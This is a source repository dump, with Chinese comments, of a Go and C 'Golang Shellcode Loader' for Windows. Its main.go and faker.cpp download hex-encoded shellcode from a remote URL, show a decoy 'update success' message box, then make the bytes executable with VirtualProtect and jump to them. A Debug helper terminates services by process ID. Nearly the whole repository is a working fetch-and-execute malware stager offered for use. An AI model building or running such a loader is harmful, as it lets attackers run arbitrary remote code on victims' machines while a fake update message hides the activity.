├── .vscode ├── launch.json └── settings.json ├── Debug ├── demo.cpp ├── demo.go ├── demo.h └── demo_test.go ├── README.md ├── go.mod ├── poc.png └── winloader ├── faker.cpp ├── faker.h ├── main.go ├── shellcode_loader_windows.go ├── winloader_x86.exe └── winloader_x86.go /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": "Launch", 9 | "type": "go", 10 | "request": "launch", 11 | "mode": "auto", 12 | "program": "${file}", 13 | "env": {}, 14 | "args": [] 15 | } 16 | ] 17 | } -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "go.inferGopath": false 3 | } -------------------------------------------------------------------------------- /Debug/demo.cpp: -------------------------------------------------------------------------------- 1 | #include "demo.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "_cgo_export.h"//go中的导出函数的声明,此文件自动构建 7 | 8 | void WriteLog(const char* log){ 9 | _GoString_ gs;//go中的string类型导出到_cgo_export.h文件中,类似的还有切片 10 | gs.p = log; 11 | gs.n = strlen(log); 12 | writeInfoLogln(gs);//go中导出打印日志的方法 13 | } 14 | int KillPID(unsigned int pid, char* srvName) 15 | { 16 | char log[300]; 17 | int bRet = 0; 18 | HANDLE proc = OpenProcess(PROCESS_TERMINATE, FALSE, pid); 19 | if (proc) 20 | { 21 | bRet = TerminateProcess(proc, 2); 22 | CloseHandle(proc); 23 | }else{ 24 | errno = GetLastError(); 25 | return bRet; 26 | } 27 | sprintf(log, "Killing srv:%s", srvName); 28 | WriteLog(log); 29 | bRet = 1; 30 | return bRet; 31 | } -------------------------------------------------------------------------------- /Debug/demo.go: -------------------------------------------------------------------------------- 1 | package demo 2 | 3 | /* 4 | #cgo LDFLAGS: -static -lpsapi -lstdc++ 5 | //注意这里引用的是mingw 的libpsapi.a,千万不要引用windows sdk下的Psapi.Lib,虽然最终调用的都是 6 | //系统的psapi.dll,但函数导出符号不一样,编译不会通过!!!另外,使用mingw尽量使用-static静态链 7 | //接C++库,不然应用运行时需要libstdc++-6.dll 8 | #include "demo.h" 9 | #include 10 | */ 11 | import "C" 12 | import ( 13 | "fmt" 14 | "unsafe" 15 | ) 16 | 17 | /** 18 | * @description: 强杀一个服务 19 | * @param {pid:进程编号, serviceName 进程名称} 20 | * @return: 21 | r:操作结果e 22 | err:异常 23 | */ 24 | func KillPID(pid int32, serviceName string) (ret uint32, err error) { 25 | c_serviceName := C.CString(serviceName)//go中开辟的内存传给c是安全的,c函数返回前地址不会变化 26 | defer C.free(unsafe.Pointer(c_serviceName)) 27 | 28 | r, err := C.KillPID(C.uint(pid), c_serviceName) 29 | if err != nil { 30 | err = fmt.Errorf("KillPID failed errno:%s!", err) 31 | } 32 | ret = uint32(r) 33 | return ret, err 34 | } 35 | 36 | //导出到C中需要此注释 37 | //export writeInfoLogln 38 | func writeInfoLogln(log string) { 39 | fmt.Println(log) 40 | } -------------------------------------------------------------------------------- /Debug/demo.h: -------------------------------------------------------------------------------- 1 | 2 | #if !defined _DEMO_H_ 3 | #define _DEMO_H_ 4 | 5 | #ifdef __cplusplus 6 | extern "C" { //导出C接口 7 | #endif 8 | 9 | int KillPID(unsigned int pid, char* srvName);//注意函数签名中不要带有C++的元素 10 | 11 | #ifdef __cplusplus 12 | } 13 | #endif 14 | 15 | #endif -------------------------------------------------------------------------------- /Debug/demo_test.go: -------------------------------------------------------------------------------- 1 | package demo 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func Test(t *testing.T) { 8 | KillPID(7692, "notepad.exe")//杀掉搜狗输入法工具 9 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Golang Shellcode Loader 2 | 3 | 在widnows下使用golang编译,准备好windows下的GCC编译器,编译选项: 4 | 5 | `CGO_ENABLED=1 GOARCH=386 GOOS=windows` 6 | 7 | 使用golang实现的shellcode加载器,通过http拉取远端shellcode进行执行 8 | 9 | 已经编译好的`winloader_x86.exe`会拉取`https://raw.githubusercontent.com/pench3r/pench3r.github.io/master/example/windows_x86_shellcode.bin`中的十六进制shellcode,该shellcode执行后会弹一个窗口 10 | 11 | ![poc](https://github.com/pench3r/Golang-Shellcode-Loader/blob/main/poc.png) 12 | 13 | ps: `raw.githubusercontent.com`域名被污染需要绑定host 14 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module goshellcodeloader 2 | 3 | go 1.15 4 | -------------------------------------------------------------------------------- /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pench3r/Golang-Shellcode-Loader/b8c9b6c9fb4eab5e6ab6185d100addd7b53ad14d/poc.png -------------------------------------------------------------------------------- /winloader/faker.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "faker.h" 4 | 5 | int faker_window() { 6 | MessageBox(NULL, "DC", "update success", MB_OK); 7 | return 0; 8 | } 9 | 10 | char* http_download(char *payload_url) { 11 | DWORD dwByteRead = 0; 12 | char *recvBuffer = (char *)malloc(10485760); 13 | memset(recvBuffer, 0, 4096); 14 | HINTERNET hintInternetOpen = InternetOpen("Testing", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); 15 | if (!hintInternetOpen) { 16 | InternetCloseHandle(hintInternetOpen); 17 | return recvBuffer; 18 | } 19 | HINTERNET hintInternetOpenUrl = InternetOpenUrl(hintInternetOpen, payload_url, NULL, 0, INTERNET_FLAG_RELOAD, 0); 20 | if (!hintInternetOpenUrl) { 21 | InternetCloseHandle(hintInternetOpen); 22 | InternetCloseHandle(hintInternetOpenUrl); 23 | return recvBuffer; 24 | } 25 | BOOL bIntNetReadFile = TRUE; 26 | char *recvBufferHeader = recvBuffer; 27 | while (bIntNetReadFile) { 28 | bIntNetReadFile = InternetReadFile(hintInternetOpenUrl, recvBuffer, sizeof(recvBuffer), &dwByteRead); 29 | if (!dwByteRead) { 30 | break; 31 | } 32 | recvBuffer += dwByteRead; 33 | } 34 | InternetCloseHandle(hintInternetOpen); 35 | InternetCloseHandle(hintInternetOpenUrl); 36 | return recvBufferHeader; 37 | } -------------------------------------------------------------------------------- /winloader/faker.h: -------------------------------------------------------------------------------- 1 | #if !defined _DEMO_H_ 2 | #define _DEMO_H_ 3 | 4 | #ifdef __cplusplus 5 | extern "C" { //导出C接口 6 | #endif 7 | 8 | int faker_window(); 9 | char* http_download(char *payload_uri); 10 | 11 | #ifdef __cplusplus 12 | } 13 | #endif 14 | 15 | #endif -------------------------------------------------------------------------------- /winloader/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | ) 6 | 7 | 8 | func main() { 9 | // FakerWindow() 10 | shellcodeStr := httpDownload("https://raw.githubusercontent.com/pench3r/pench3r.github.io/master/example/windows_x86_shellcode.bin") 11 | shellcodeByte, _ := hex.DecodeString(shellcodeStr) 12 | FakerWindow() 13 | Run(shellcodeByte) 14 | } -------------------------------------------------------------------------------- /winloader/shellcode_loader_windows.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "syscall" 5 | "unsafe" 6 | "fmt" 7 | ) 8 | 9 | var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") 10 | 11 | // var getLastError = syscall.NewLazyDLL("kernel32.dll").NewProc("GetLastError") 12 | 13 | func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { 14 | ret, _, _ := procVirtualProtect.Call( 15 | uintptr(lpAddress), 16 | uintptr(dwSize), 17 | uintptr(flNewProtect), 18 | uintptr(lpflOldProtect)) 19 | return ret > 0 20 | } 21 | 22 | func Run(sc []byte) { 23 | // TODO need a Go safe fork 24 | // Make a function ptr 25 | f:= func() {} 26 | var oldfperms uint32 27 | fmt.Printf("begin to run shellcode: %d", len(sc)) 28 | if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { 29 | panic("Call to VirtualProtect failed!") 30 | } 31 | **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) 32 | 33 | var oldshellcodeperms uint32 34 | if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { 35 | panic("Call to VirtualProtect failed!") 36 | } 37 | 38 | // Call the function ptr it 39 | f() 40 | fmt.Println("exploit complete.") 41 | } -------------------------------------------------------------------------------- /winloader/winloader_x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pench3r/Golang-Shellcode-Loader/b8c9b6c9fb4eab5e6ab6185d100addd7b53ad14d/winloader/winloader_x86.exe -------------------------------------------------------------------------------- /winloader/winloader_x86.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo CFLAGS: -mwindows 5 | #cgo LDFLAGS: -lwininet 6 | #include "faker.h" 7 | */ 8 | import "C" 9 | 10 | 11 | func FakerWindow() { 12 | C.faker_window() 13 | } 14 | 15 | func httpDownload(payload_url string) string { 16 | pu := C.CString(payload_url) 17 | resp := C.http_download(pu) 18 | return C.GoString(resp) 19 | } --------------------------------------------------------------------------------